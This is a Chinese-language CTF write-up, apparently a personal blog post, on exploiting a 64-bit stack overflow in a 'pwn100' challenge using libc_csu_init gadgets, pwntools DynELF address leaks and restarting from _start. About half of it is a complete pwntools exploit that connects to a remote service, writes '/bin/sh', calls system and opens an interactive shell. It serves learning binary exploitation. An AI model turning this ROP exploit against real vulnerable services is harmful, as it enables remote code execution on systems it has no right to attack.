这道题可是让我吃尽了苦头啊~~~~~~ 这道题没有像那么复杂 可是就是一直做不出来。。。。。。。。。。。
先说一下 参考的资料吧
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42933&highlight=pwn
感谢i春秋的师傅
如果哪里不对 还请指教
首先这道题是 64位 那么 我们知道 x86都是靠栈来传递参数的 而x64换了 它顺序是rdi, rsi, rdx, rcx, r8, r9
, 如果多于6个参数 才会用栈 我们要先知道这个特性
一开始我是先测试了一下 返回put的 地址 距离我们输入的地址是 200个字符 距离我们 的返回地址是 72个字符
然后。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
我就很懵了 最近看驱动看的很懵 然后看堆溢出 看的也很头疼 看那些神仙打架的re 也是看的头懵 然后 这个我也蒙了
你说字符串 /bin/sh 也没有 system函数也是没有 那让我怎么利用啊~~~~~
然后 emmmm
无奈的我就只能搜题解了 然后有个师傅告诉我 i春秋有这样的贴子 我就看了一下 感觉受益匪浅 然后 非常感谢 那位师傅 的无私奉献 然后 我就继续说我的心得~~~~
然后 就看到了 师傅 说的那些东西 然后就跟着看了看 总结了几点的东西
然后 这里按照自己的理解说一下
这里面呢 需要 一些 gadget 一般在 libc_csu_init 里面 这个东西就是用来 在栈中使用的
一般类型是
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
pop rdi; retn
第三个 是怎么得出来的 就是
就是现在 62那个地址 变成 data 然后再变成code 你就发现
这就没有什么解释得了 那么 肯定就算这些东西 然后呢 能完成 bin/sh 字符串的输入 还能把system 的地址都找出来呢
其实 仅靠这个 是做不出来的
还需要 另外两样东西
第一个就是 DynELF
第二个就是 恢复栈
第一个 这个东西详情可以去看i春秋 那个师傅写的 很详细 就是 pwntool 提供的一个类 然后可以进行 查找地址 然后我们可以 用puts 或者 其它打印函数打印出来 然后就可以 拿到 system 的地址了
第二个 感觉有必要说一下 其实我们主函数 并不是程序的开始 严谨的说 它上面还是有函数给做一些的准备工作的
这个函数 在ida 里面显示的就是
没错就是 start 这个函数
有这个函数 我们就可以多使用这个栈几次
我们的思路是 先用 leak 获取到 system地址 然后 继续恢复栈 然后我们继续 用 那个栈
然后再用 gadget 配合 然后 调用read函数 然后找一段空间 写入 bin/sh 然后在恢复栈
然后 在写入 调用 system 函数就ok了 emmmm 这就是结果
然后下面是 我根据师傅写的exp 自己模范着写了一遍 ~~~~~
#!/usr/bin/python
#coding:utf-8
from pwn import*
start_addr=0x400550
pop_rdi=0x400763
gadget1=0x40075a
gadget2=0x400740
binsh_addr=0x60107c
io=remote("111.198.29.45","31154")
elf=ELF("./pwn100")
puts_addr = elf.plt['puts']
read_got = elf.got['read']
def leak(addr):
count=0
up=''
content=''
payload='a'*72
payload+=p64(pop_rdi)
payload+=p64(addr)
payload += p64(puts_addr)
payload+=p64(start_addr)
payload=payload.ljust(200,'a')
io.send(payload)
io.recvuntil("bye~\n")
while True:
c=io.recv(numb=1,timeout=0.1)
count+=1
if up == '\n' and c == "":
content=content[:-1]+'\x00'
break
else:
content+=c
up=c
content=content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content
d = DynELF(leak, elf = elf)
system_addr = d.lookup('system', 'libc')
log.info("system_addr = %#x", system_addr)
payload='a'*72
payload+=p64(gadget1)
payload+=p64(0) #rbx=0
payload+=p64(1) #rbp=1 call
payload+=p64(read_got) # read
payload+=p64(8) #read size
payload+=p64(binsh_addr)
payload+=p64(0) #r15 read canshu
payload+=p64(gadget2)
payload+='\x00'*56
payload+=p64(start_addr)
payload=payload.ljust(200,'a')
io.send(payload)
io.recvuntil('bye~\n')
io.send('/bin/sh\x00')
payload = "A"*72
payload += p64(pop_rdi) #system("/bin/sh\x00")
payload += p64(binsh_addr)
payload += p64(system_addr)
payload = payload.ljust(200, "B")
io.send(payload)
io.interactive()
还学到了一点 gedit真好用~~~~~
如果 侵权 或者需要修改 请联系 本人道歉修改或删除